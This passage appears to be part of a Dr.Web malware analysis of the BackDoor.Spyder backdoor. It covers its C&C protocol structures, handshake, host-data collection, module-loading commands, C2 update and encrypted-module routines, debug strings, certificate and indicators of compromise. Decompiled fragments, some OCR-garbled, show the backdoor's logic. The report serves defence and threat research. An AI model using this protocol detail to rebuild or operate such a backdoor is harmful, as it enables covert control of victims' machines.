    WORD compressed_len;
    WORD uncompressed_len;
};
```

The data is placed after the header and packed by the LZ4 algorithm. The backdoor checks the value of the signature field. It must be equal to 0x573F0A68.

After unpacking, the resulting data packet has a header in the following format.

```
struct data_packet_header
{
    WORD tag;
    WORD id;
    WORD unk_0;
    BYTE update_data;
    BYTE id_part;
    DWORD unk_1;
    DWORD unk_2;
    DWORD len;
};
```

The tag and id fields together define the backdoor action, which means they denote the command ID.

These header structures are used in both directions of interaction.

The order of processing server commands:

- 1. Client verification
- 2. Sending the information about the infected system
- 3. Processing commands by IDs

There is a variable that stores the state of the dialog in the structure responsible for communicating with the C&C server. Therefore, before directly executing commands, performing the first two steps is required, which can be considered as a second handshake.

#### A verification step

To perform the verification step, the values of the tag and id fields in the primary packet received from the C&C server must be equal to 1.

The verification process is as follows:

1. The backdoor forms a buffer from an 8-byte array that follows the packet header and the hash\_id field taken from the configuration. The result can be represented as the structure:

```
struct buff
{
    BYTE packet_data[8];
    BYTE hash_id[20];
}
```

2. The SHA1 hash of the data in the resulting buffer is calculated. The result is placed in the packet (after the header) and sent to the server.

#### Sending system information

The next packet received from the C&C server must have the tag value equal to 5 and id value equal to 3. The system data is formed as a sysinfo\_packet\_data structure.

```
struct session info
{
 DWORD id;
 DWORD State;
 DWORD ClientBuildNumber;
 BYTE user name[64];
 BYTE client IPv4[20];
 BYTE WinStationName[32];
 BYTE domain name[64];
};
struct sysinfo_block_2
{
 WORD field 0;
 WORD field 2;
 WORD field 4;
 WORD system_def_lang_id;
 WORD user_def_lang_id;
 DWORD timezone bias;
 DWORD process SessionID;
 BYTE user name[128];
 BYTE domain name[128];
 DWORD number of sessions;
 session info sessions[number of sessions];
};
struct sysinfo_block_1
{
 DWORD unk 0; //0
```



```
DWORD bot id created;
 DWORD dw const 0; //0x101
 DWORD os version;
 WORD dw const 2; //0x200
 BYTE cpu arch;
 BYTE field 13;
 DWORD main interface IP;
 BYTE MAC address[20];
 BYTE bot id[48];
 WCHAR computer name[128];
 BYTE cfg string[64];
 WORD w const; //2
 WORD sessions size;
};
struct sysinfo packet data
{
 DWORD id;
 sysinfo block 1 block 1;
 sysinfo_block_2 block_2;
};
```

The sysinfo\_packet\_data.id field contains a 0x19C0001 constant.

The sysinfo\_packet\_data.block\_1.bot\_id value is extracted from the registry. The backdoor locates it in the instance parameter of the SOFTWARE\Clients\Mail\Hotmail\backup key, which, in turn, depending on the


privileges, can be located in the HKLM or HKCU sections.

If the value is missing, a random GUID is generated using UuidCreate, then formatted as a XXXXXXX-XXXX-XXXX-XXXX-XXXX-XXXX string and saved. If the ID already existed, the sysinfo\_packet\_data.block\_1.bot\_id\_created parameter is assigned the 1 value. If the ID was created, the parameter is assigned the 2 value.

The sysinfo\_packet\_data.block\_1.cpu\_arch parameter value:

- 1 x86
- 2 x64

The process of determining the MAC address and IP address values by the backdoor is noteworthy. First, the program searches for the network interface through which the largest number of packets passed, then gets its MAC address and searches for the IP address of this interface.



The OS version is encoded with a value from 1 to 13 (0 if an error occurs, starting with 5.0 and then ascending the version.

seg000:0000000180059A58 jb

short loc 180059A20

The sysinfo\_packet\_data.block\_1.cfg\_string field contains the string value from the backdoor configuration, which is equal to the character 1.

#### **Processing commands**

Dr.WEB

After the verification step and sending the system information, **BackDoor.Spyder.1** begins processing the main commands. Unlike most backdoors, whose commands are quite specific (pick up a file, create a process, etc.), in this instance, they are more of a service nature and represent instructions for storing and structuring the received data. In fact, all these service

commands are aimed at loading new modules in PE format, storing them, and calling certain exported functions. It is worth noting that the modules and their information are stored in memory in the form of hash tables using UT-hash.

tag	id	Description
6	1	Send the number of received modules to the server.
	2	Save the parameters of the received module in memory.
	3	Save the body of the module in the memory.
	4	Load a previously saved module. The search is performed in the hash table by the ID obtained from the packet with the command. The module is loaded into memory, its entry point is called, then the addresses of the 4 exported functions are obtained, which are stored in the structure for further call. Call the exported function No. 1.
		<pre>int64fastcall load_PE_module_and_get_export_functions(void *packet_i2, void *p_PE_module, module_exports *loaded_module_exports) {    int64 result; // rax     loaded_module *v5; // rbx     result = (int64)load_and_execute_DLL_module((IMAGE_DOS_HEADER *)p_PE_module);     v5 = (loaded_module *)result;     if ( result )     {         loaded_module_exports-&gt;loaded_module_1 = (loaded_module *)result;         loaded_module_exports-&gt;loaded_module_1 = (loaded_module *)result;         loaded_module_exports-&gt;export_func_1 = get_export_function_by_index((loaded_module *)result, 1u);         loaded_module_exports-&gt;export_func_2 = get_export_function_by_index(v5, 2u);         loaded_module_exports-&gt;export_func_3 = get_export_function_by_index(v5, 4u);         result = li64;     }     return result; </pre>
	5	Call the exported function No. 4 of one of the loaded modules, then unload it.
	6	Send in response a packet consisting only of the data_packet_header header, in which the unk_2 field is <code>0xFFFFFFFF</code> .
	7	Call the exported function No. 2 of one of the loaded modules.
	8	Call the exported function No. 3 of one of the loaded modules.
5	2	Send information about the current connection parameters to the server.
4	-	Presumably, the exported function No. 1 can return a table of pointers to functions, and the program calls one of these functions at this command.

After processing each packet received from the server, the backdoor checks the difference between the two values of the GetTickCount result. If the value exceeds the specified reference value, it sends the 0x573F0A68 signature value to the server without any additional data and transformations.

```
v4 = 0;
tick count = GetTickCount();
if ( !p_Session )
 return v4;
if ( p_Session->mb_mode )
{
  if ( !g_flag_0 )
    return v4;
3
else if ( !ticks_flag )
Ł
  return v4;
if ( !p_Session->tick_count_2 )
{
  srand(tick count);
  p_Session->tick_count_1 = tick_count;
  p_Session->tick_count_2 = tick_count;
if ( tick count - p Session->tick count 1 > 1000 * msecs )
  return 0x61AEi64;
if ( p_Session->mb_mode )
{
  if ( tick_count - p_Session->tick_count_2 > 1000 * p_Session->rnd_value_ticks_coefficient )
  {
    v7 = 0x573F0A68i64;
    p Session->tick count 2 = tick count;
    v4 = ((__int64 (__fastcall *)(__int64, _QWORD, _
                                                    __int64 *))g_struc0_1.f_send)(3i64, key_id, &v7);
    p_Session->rnd_value_ticks_coefficient = (int)((double)rand() * 0.000030517578125 * 10.0 * 2.0
                                                + (double)dword_180090D54
                                                 - 10.0);
}
```

#### New server request thread

Dr.WEB

**BackDoor.Spyder.1** can request the address of the new C&C server if the url\_C2\_req URL is provided in the configuration. To request this URL, the program can use both the system proxy and the HTTP proxy provided in the configuration. The request is made using the InternetOpenUrlA WinHTTP API.

The response must be a Base64-encoded string between two markers: DZKS and DZJS. It should be noted that a similar algorithm and markers were used in the **PlugX** family (BackDoor.PlugX.28, BackDoor.PlugX.38).

The decoded string is decompressed using the RtlDecompressBuffer function, resulting in the address of the new C&C server and the port to connect to.

#### **Dr.WEB** http context::set connect type(v13, impersonation); if ( impersonation != 1 ) { v16 = init\_http\_connect(v13, url); goto LABEL\_18; if ( proxy\_server ) { v16 = http\_connect\_with\_proxy(v13, url, proxy\_server, proxy\_username, proxy\_password); LABEL 18: v15 = v16;} data len = 0; if ( v15 ) { v17 = operator new(0x100000ui64); memset(v17, 0, 0x10000ui64); if ( v17 ) { internet\_read(v13, v17, 0x100000u, &data\_len); if ( data\_len ) { Sourcea[0] = 0; memset(&Sourcea[1], 0, 0x7FFui64); if ( extract substr DZKS DZJS((char \*)v17, Sourcea) ) { LODWORD(decoded\_response) = 0; v18 = (void \*)decode\_response(Sourcea, (char \*)&decoded\_response); v19 = v18;if ( v18 ) { v20 = (int)decoded response;

if ( (int)decoded\_response <= \*type )
{
 memmove(result Decoded, v18, (int)decoded response);</pre>

#### **Encrypted module execution thread**

If the exec\_mode configuration parameter is set to 2 and the command line contains -k netsvcs, the backdoor creates a separate thread to execute the module stored in the file.

To do this, the backdoor searches for the C:\Windows\System32\1.update file at first. If such a file exists, the program reads it and decrypts it.

This file contains the path to an encrypted file containing a DLL module that the backdoor reads, decrypts, and loads.



```
if ( lcheck_exists_and_not_dir(filename) )
    return li64;
ppstDataBescr = 0i64;
v5 = LoadLibraryA("crypt32.dll");
if ( lv5 )
    return 2164;
CryptUnprotectData = (BOOL (__fastcall *)(DATA_BLOB *, LPWSTR *, DATA_BLOB *, PVOID, CRYPTPROTECT_PROMPTSTRUCT *, DWORD, DATA_BLOB *))GetProcAddress(v5, "CryptUnprotectData");
if ( lcryptUnprotectData )
    return 3i64;
CBuffer::it(&pCBuffer_file_data);
if ( (unsigned int)read_file(filename, &pCBuffer_file_data, 0);
DataIn.cbData = CBuffer::get_data_size(&pcBuffer_file_data);
ppstDataDescr = 0i64;
if ( CryptUnprotectData(&DataIn, (LPWSTR *)&ppstDataDescr, 0i64, 0i64, 1, &DataOut) )
{
    CBuffer::inter(&pCBuffer_file_data);
    result = 0i64;
    result = 0i64;
}
```

#### Features of the x86 version

The version of the backdoor designed to run on 32-bit Microsoft Windows operating systems is detected by Dr.Web as a **BackDoor.Spyder.3** (83e47dbe20882513dfd1453c4fcfd99d3bcecc3d). The main difference of this modification is the presence of debug messages. The list of debug messages can be found in the <u>Addendum No 2</u> to the study.

seg000:1003FA08 pushoffset aWkDecodestrbuf ; "[wk]DecodeStrBuffer err"seg000:1003FA0D calllog_msg_0seg000:1003FA12 addesp, 4seg000:1003FA15 jmpshort loc_1003FA62	🛄 🚄 🖼	
	seg000:1003FA0D call seg000:1003FA12 add	esp, 4

Messages are recorded on the log file located in the <code>%WINDIR%\temp\deskcpl.ttf</code> directory. Depending on the initialization parameters, they can be output using <code>OutputDebufStringA</code> or encrypted using a simple XOR operation with byte 0x62.

```
😻 Dr.WEB
```

```
GetLocalTime(&SystemTime);
_snprintf(
  timestamp,
  0xC7u,
  "[%d/%d/%d/%d:%d:%d]",
 SystemTime.wYear,
  SystemTime.wMonth,
  SystemTime.wDay,
  SystemTime.wHour,
 SystemTime.wMinute,
  SystemTime.wSecond);
OutputString[0] = 0;
memset(&OutputString[1], 0, 0x7FFu);
module_path[0] = 0;
memset(&module_path[1], 0, 0x103u);
GetModuleFileNameA(0, module_path, 0x104u);
v1 = strrchr(module_path, 92);
PID = GetCurrentProcessId();
modulr filename = v1 + 1;
if ( modulr filename )
  snprintf(OutputString, 0x7FFu, "%s[%s][%d]->%s\r\n", timestamp, modulr filename, PID, msg str);
else
  snprintf(OutputString, 0x7FFu, "%s[%s][%d]->%s\r\n", timestamp, byte 100741AE, PID, msg str);
if ( flag_output_dbg )
 OutputDebugStringA(OutputString);
v3 = strlen(OutputString);
if ( flag_encrypt_log_msg )
ł
  for ( i = 0; i < v3; ++i )</pre>
    OutputString[i] ^= 0x62u;
}
v5 = CreateFileA(path_windir_deskcpl, 0x40000000u, 1u, 0, 4u, 0x80u, 0);
v6 = v5;
if ( v5 == (HANDLE)-1 || !v5 )
 return 0;
SetFilePointer(v5, 0, 0, 2u);
NumberOfBytesWritten = 0;
WriteFile(v6, OutputString, v3, &NumberOfBytesWritten, 0);
CloseHandle(v6);
return 1;
```

Messages related to communication with the C&C server and command processing are output using the OutputDebugStringA function. It is noteworthy that for such messages, the [Spyder] prefix is used.

```
int dbg_string(char *Format, ...)
{
    int result; // eax
    CHAR OutputString; // [esp+4h] [ebp-408h] BYREF
    char v3[1023]; // [esp+5h] [ebp-407h] BYREF
    va_list va; // [esp+418h] [ebp+Ch] BYREF
    va_start(va, Format);
    OutputString = 0;
    memset(v3, 0, sizeof(v3));
    _vsnprintf_s(&OutputString, 0x400u, 0xFFFFFFFF, Format, va);
    strncat_s(&OutputString, 0x400u, "\n", 0xFFFFFFFF);
    OutputDebugStringA(&OutputString);
    return result;
}
```

# Addendum No. 1 CA\_cert information (certificate for establishing a connection with the C&C server)

```
SHA1 Fingerprint=BF:46:40:E4:AF:56:DB:E0:D0:86:6E:16:B0:3F:C7:23:77:26:14:31
Certificate:
   Data:
       Version: 3 (0x2)
        Serial Number: 1 (0x1)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN = SecureTrust CA, O = SecureTrust Corporation, C = US
       Validity
           Not Before: Jan 1 00:00:00 2011 GMT
            Not After : Dec 31 23:59:59 2025 GMT
        Subject: CN = SecureTrust CA, O = SecureTrust Corporation, C = US
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (4096 bit)
                Modulus:
                    00:bd:c3:26:8b:e1:37:7f:f0:fa:0a:0d:83:a7:dd:
                    22:31:14:83:08:d7:74:3b:31:08:84:ef:25:cf:2d:
                    44:fc:2d:54:77:0b:17:e2:70:4d:be:2f:c1:fc:ed:
                    d9:6b:9e:db:60:28:27:c4:1e:6d:15:3d:dd:b9:43:
                    64:37:58:b4:bd:48:85:fa:d1:d6:f7:5a:33:eb:ec:
                    b7:86:62:92:1f:89:d7:a4:bd:d3:1f:f3:18:9d:a4:
                    15:27:16:7b:26:9f:5c:53:87:bd:40:22:d2:5e:cd:
                    ab:d5:6f:1d:ac:c3:0d:f1:d9:d5:f5:6a:d3:16:76:
                    58:df:f7:0b:20:0d:ed:7b:97:ae:66:0a:e6:cc:9f:
                    73:50:fb:ce:16:a6:dc:45:d0:2f:70:3e:c8:c8:59:
                    4d:c4:62:ec:b0:e9:01:9c:57:92:e4:78:83:4f:a6:
                    ab:1b:94:45:ff:15:ed:dc:59:95:f3:71:22:9c:06:
                    38:bb:e6:0f:b3:ec:af:5b:bd:1a:2f:b1:7f:ce:c8:
                    4d:32:9f:8f:44:9b:ae:fc:e5:72:24:b4:3a:3b:f3:
                    d0:79:30:79:a2:0e:bd:55:e9:cd:c0:4d:7e:07:fc:
                    37:b5:7f:69:be:d6:e3:37:ce:9e:ff:d2:05:e4:3c:
                    59:7e:f0:d4:ab:01:e4:7b:07:f6:a4:f0:e3:c3:7e:
                    58:07:2d:e8:96:9c:ac:8b:e6:dc:49:6a:51:9a:b3:
                    b0:62:cf:3c:b4:4a:f9:89:ae:2c:73:17:01:43:63:
                    ec:e8:2b:7b:1c:3c:81:41:fa:db:93:45:3a:21:1f:
                    2a:3a:8f:30:d4:52:59:91:03:03:11:b8:18:ca:39:
                    4c:9a:e2:57:33:e6:bc:c5:4a:8e:76:79:50:fd:bd:
                    32:78:9c:79:58:4f:b9:d3:bb:05:eb:39:43:db:3e:
                    b5:2d:51:18:ed:ee:9d:31:3a:2e:6b:37:37:34:28:
                    4a:89:cb:65:b4:7d:bf:be:a1:67:cb:5c:71:9c:be:
                    c3:3b:f7:a7:df:37:4d:0f:c7:57:f5:5b:d2:db:54:
                    2c:91:5b:3b:7f:ec:1f:45:e4:7b:a5:0d:a1:c2:1f:
```

```
64:af:51:cd:32:3a:83:25:9c:90:ac:77:66:4d:12:
                    23:f5:5b:3c:90:b5:41:1b:54:55:a4:24:66:e6:e9:
                    65:46:95:ff:ef:67:f5:a6:80:f6:d5:e6:3f:2f:c2:
                    7b:25:d8:b3:b4:4d:f4:b8:7c:38:cc:de:3e:4f:43:
                    9a:ca:be:c1:66:95:2d:2c:16:a9:56:9b:68:5d:8c:
                    78:90:84:d4:86:51:10:f1:9b:14:23:43:bb:91:1e:
                    02:01:ee:11:63:c4:f2:81:7f:83:68:5e:86:bd:8a:
                    88:7c:2d
                Exponent: 65537 (0x10001)
       X509v3 extensions:
            X509v3 Basic Constraints:
                CA:TRUE, pathlen:0
            X509v3 Subject Key Identifier:
                E0:63:19:89:FA:AD:19:5D:E3:B3:A5:E2:85:D2:2F:87:B1:55:76:1B
            X509v3 Authority Key Identifier:
                keyid:E0:63:19:89:FA:AD:19:5D:E3:B3:A5:E2:85:D2:2F:87:B1:55:
76:1B
           X509v3 Key Usage: critical
                Digital Signature, Key Agreement, Certificate Sign, CRL Sign
           Netscape Cert Type:
                SSL Client, SSL Server, Object Signing, SSL CA, Object
Signing CA
    Signature Algorithm: sha256WithRSAEncryption
         08:33:53:e4:be:95:0a:1b:d7:6e:44:6b:2d:42:2a:45:7f:8b:
         89:fd:fb:d0:cf:5f:8f:83:77:5d:3b:2c:11:46:9f:44:3b:69:
         f2:e2:e7:fe:4e:c9:43:5c:89:5f:e2:e2:5a:5e:4c:4d:39:ed:
         ce:2d:63:d4:a1:93:ff:ff:3f:b0:77:86:e8:f1:5e:a3:4d:d3:
         ba:eb:41:0f:85:0c:04:fb:6c:42:19:bc:2b:d1:db:c6:51:e3:
         97:cd:5b:e5:d5:b4:1f:43:e7:7c:eb:86:08:16:86:0b:46:23:
         9d:f4:e9:18:b6:ce:e5:f4:96:7b:ee:5f:f5:8d:ff:dd:65:29:
         b9:12:94:f7:da:d3:c0:64:53:e6:2b:36:ec:6f:d3:26:3c:c2:
         ab:ba:10:cd:d8:39:43:8b:21:fe:68:ab:48:25:34:07:a6:cc:
         cc:b5:70:60:c4:ae:91:73:19:ff:9d:ff:82:ca:4a:9c:8e:70:
         94:96:5f:7c:b3:e8:f7:e4:3e:cc:af:41:7e:24:47:fe:ad:d5:
         a7:80:32:80:9c:7f:0c:00:3b:92:4c:ec:8e:ef:93:fb:8a:1f:
         ff:be:f0:ab:33:c7:4b:2b:5d:fc:31:e6:bf:f4:1d:c0:e3:d0:
         c5:94:a9:21:b1:8c:26:4b:c2:82:51:cf:1b:63:09:b1:ec:45:
         31:49:ba:51:42:22:7a:41:90:2f:28:0e:40:76:91:3c:33:34:
         84:66:b9:7e:0e:68:5a:37:38:01:b1:92:64:a5:a8:9c:34:84:
         6a:c6:01:d0:30:f8:d5:52:0f:6e:3e:40:06:a2:b8:4c:b1:69:
         4d:16:8f:d0:c4:72:b6:0e:09:57:6c:5e:cd:bc:ab:e3:ce:80:
         ae:a7:6c:3d:3c:01:a5:a3:4f:4d:e0:52:36:12:cc:7a:e2:5e:
         f3:d7:22:a7:6c:7c:60:d4:fd:f4:37:94:70:dd:4c:9b:00:cd:
         7d:9d:42:f7:e7:b2:25:f6:63:06:1e:4d:dc:4b:ef:5c:45:5d:
         a7:b9:b7:33:21:4e:91:40:ba:ca:ec:70:d0:a5:f7:0c:0a:ea:
         97:11:fa:47:8b:dd:24:b0:c2:98:ff:94:4f:f6:c8:0f:e9:a5:
         2d:bf:b6:7c:f4:45:f3:cb:5a:fd:a0:38:ce:ca:60:24:34:74:
```



AlUdIwQYMBaAFOBjGYn6rRld47014oXSL4exVXYbMA4GA1UdDwEB/wQEAwIBjjAR BglghkgBhvhCAQEEBAMCANUwDQYJKoZIhvcNAQELBQADggIBAAgzU+S+lQob125E ay1CKkV/i4n9+9DPX4+Dd107LBFGn0Q7afLi5/50yUNciV/i4lpeTE057c4tY9Sh k///P7B3hujxXqNN07rrQQ+FDAT7bEIZvCvR28ZR45fNW+XVtB9D53zrhggWhgtG I5306Ri2zuX0lnvuX/WN/911KbkSlPfa08BkU+YrNuxv0yY8wqu6EM3YOUOLIf5o q0glNAemzMy1cGDErpFzGf+d/4LKSpyOcJSWX3yz6PfkPsyvQX4kR/6t1aeAMoCc fwwA05JM7I7vk/uKH/++8Kszx0srXfwx5r/0HcDj0MWUqSGxjCZLwoJRzxtjCbHs RTFJu1FCInpBkC8oDkB2kTwzNIRmuX40aFo30AGxkmSlqJw0hGrGAdAw+NVSD24+ QAaiuEyxaU0Wj9DEcrYOCVdsXs28q+P0gK6nbD08AaWjT03gUjYSzHriXvPXIqds fGDU/fQ31HDdTJsAzX2dQvfnsiX2YwYeTdxL71xFXae5tzMhTpFAusrscNCl9wwK 6pcR+keL3SSwwpj/1E/2yA/ppS2/tnz0RfPLWv2gOM7KYCQ0dHfqkbzcaJBTXwr0 QBNpaC4x+d99BwVTQoqL4E117gSUnocaJZ6CFoeiad3rRCFMmB1yi0Z0XDMkXMKr ex/E1NWaQHcVc9NTYmDaXXwqnhI1

----END CERTIFICATE----

🕸 Dr.WEB

# Addendum No. 2. List of 32-bit modification debug messages

[work]cmdline:%s
[work]dwDataLen=%d buf\_temp=%d
[work]%s no exist



[work]get work err5 [aut]begin tid=%d. [update thread]begin tid=%d. [update thread]work=%s [update thread]get work ret=%d [update thread] wait for work thread exit... [update thread] work thread exit ok [update thread]load work failed [pt]proxy thread begin tid=%d. []dwMajorVersion=%d dwMinorVersion=%d []rtlVer.dwMinorVersion=%d [work]DllMain [work] DLL [work] VBR/SRV [wk]RtlGetCurrentUserToken ok [wk]ImpersonateLoggedOnUser ok [wk]OpenURL %s Ret=%d [wk]Err1 [wk]Err4 [wk]GetConfigStrFromURL err [wk]DecodeStrBuffer err [wk]DecodeLen err [wk]RevertToSelf []IsProxyEnable Ret=%d [aut]GetConfigStrFromURL PROXY NO Ret=%d [aut]GetConfigStrFromURL PROXY USER Ret=%d [aut]JmpAddClientConfig %s with address: %s. [aut]GetRandom=%d [aut]szWebURL Not Set [aut]address update\_thread Exit. [update thread]get work path ret=%d [pt]Using IE proxy setting. [pt]IE proxy NOT setup. [pt]SmpGetRegProxy Counts=%d [pt]IE proxy type = %u NOT support, address: %s. [pt]IE proxy type = %u, address: %s found. [pt]Add proxy config %s, address=%s. [work thread]begin tid=%d [wt]JmpAddClientConfig %s with address: %s. [wt]JmpAddProxyConfig %s. [wt]Proxy:%s [wt]start Jumper error = %u. [wt]Jumper start success! [wt]JmpShutdown [wt]JmpShutdown=%d [wt]JmpTeardown=%d

[wt]tid=%d Exit [Spyder] client module init error = %d. [Spyder] register mod %d error = %u. [spyder] alloc mem for ca cert failed. [spyder] server address already exists in conf list. [Spyder] alloc client error = %d. [Spyder] ALLOC client uid = %u. [Spyder] set ca for client id=%u error=%d [Spyder] proxy setting exists, srv=%s [spyder] use proxy [%s] to connect [%s] res = %u. [Spyder] direct connect to %s error = %u. [Spyder] connect to %s result = %u, protcol=%u. [jmp] big packet: recv new big pkt while previous one not handled, old=%u, new=%u. [jmp] packet size exceed limit = %#X, id=%u. [jmp] failed to realloc packet buffer, error = %u, pkt id=%u. [jmp] big packet recv completed, id=%u, size=%u, ext id=%u. [Spyder] PAUSE ext = %u Before. [Spyder] PAUSE ext = %u After. [Spyder] UNINIT ext = %u Before. [Spyder] UNINIT ext = %u After. duplicate session id for ext type id = %u. [Spyder] can't find recv item for type id = %u. [Spyder] ext type id = %u recved = %u, new recv = %u, but total size = %u [Spyder] ext type id = %u recv completed, total size = %u. [Spyder] find ext with same type id = %u while updating, free old ext. [Spyder] alloc mem for completed ext error = %u. [Spyder] ext recv %s, free tem buffer, type id = %u. [Spyder] ext type = %u already loaded, unlaod now for updating. [Spyder] failed to unload ext from memory. [Spyder] load ext id = %u into memory error. [Spyder] MOD LOAD AT %p, size=%u. [Spyder] alloc mem for loaded item failed, unload ext type id = %u. [Spyder] inint module type = %u begin. [Spyder] inint module type = %u end. [Spyder] alloc mem for mod pfn error = %u. [Spyder] unlaod ext id = %u error. [Spyder] unload and free all exts. [Spyder] UNLOAD ext = %u BEFORE. [Spyder] UNLOAD ext = %u AFTER. [Spyder] FREE ext = %u AFTER. [Spyder] free ext cache = %u . [Spyder] free ext mem = %u . [Spyder] link setup Result=%d, local = %#X:%u, remote = %#X:%u, uid=%u. [Spyder] connected callback at %02u:%02u:%02u, id = %u. [Spyder] Link disconnected at %02u:%02u:%02u, id = %u. [Spyder] recv data size = %u invalid, from uid=%u.

```
[Spyder] receive challenge = %I64X.
[Spyder] failed to get host info.
[Spyder] send host info error = %u.
[jmp] LOGIN SUCCESS, link id = %u.
[jmp] internal data process error.
[jmp] unknown state = %u.
[jmp] core process data error, close link = %u.
[Spyder] ext summary size error = %u.
[Spyder] ext recv prepare failed.
[Spyder] EXTENSION recv BEGIN, type = %u.
[Spyder] dll payload recv error.
[Spyder] ext active begin.
[Spyder] ext active result = %s.
[Spyder] ext free cmd not handled.
[Spyder] unhandled ext sub cmd = %u.
[Spyder] call ext failed = %d, sub=%u.
[spyder] unhandled subcmd=%u in tunnel cmd.
[Spyder] unhandled main cmd = %u, sub cmd = %u.
[Spyder] Can't get link id for ext data delevery.
[Spyder] SEND DATA via link id=%u error = %d.
[Spyder] client link disconnect id = %u.
[Spyder] client send data error = \%#X, id = \%u.
[Spyder] enum session error = %u.
[Spyder] get Host info error.
[Spyder] save sn value error = %u.
[Spyder] gszUniqueSN=%s
[Spyder] create quid error = %d.
[jmp] Get adapter info error = %u.
[jmp] adapters info buf size=%u, count=%u.
Alloc buf for adapter info error = %u.
get adapter info with buf error = %u.
[jmp] IP=%s not match preset mac address, desc=%s.
[jmp] master adapter FOUND! IP = [%s], desc=%s.
[jmp] master adapter has more than one ip: %s.
```

## Addendum No. 3. Indicators of compromise

#### SHA1 hashes

#### BackDoor.Spyder

41777d592dd91e7fb2a1561aff018c452eb32c28

cf584bd93d76f6546004fedb1fcf56888ced54b6

e1fe3594da5466dd2e5a5713e885760d7e914b91 8af7f35ec09ec77b5a9005a1fff0e22464f2ab7f 699a7c59ab5b437badfaa90071d9fd9304fdcebc ff5b2bd36ae07d994c194ed0f38ed9357a018128 d4bec278dda7c046739d5361eb51fd65f0fedfea 4c871eae022c8088f6e8d46e17002cd0c0006650 83e47dbe20882513dfd1453c4fcfd99d3bcecc3d

#### Domains

sidc.everywebsite[.]us snoc.hostingupdate[.]club wntc.livehost[.]live hccadkml89.dnslookup[.]services koran.junlper[.]com nted.tg9f6zwkx[.]icu sidcfpprx14.in.ril[.]com sidcfpprx01.in.ril[.]com sidcfpprx25.in.ril[.]com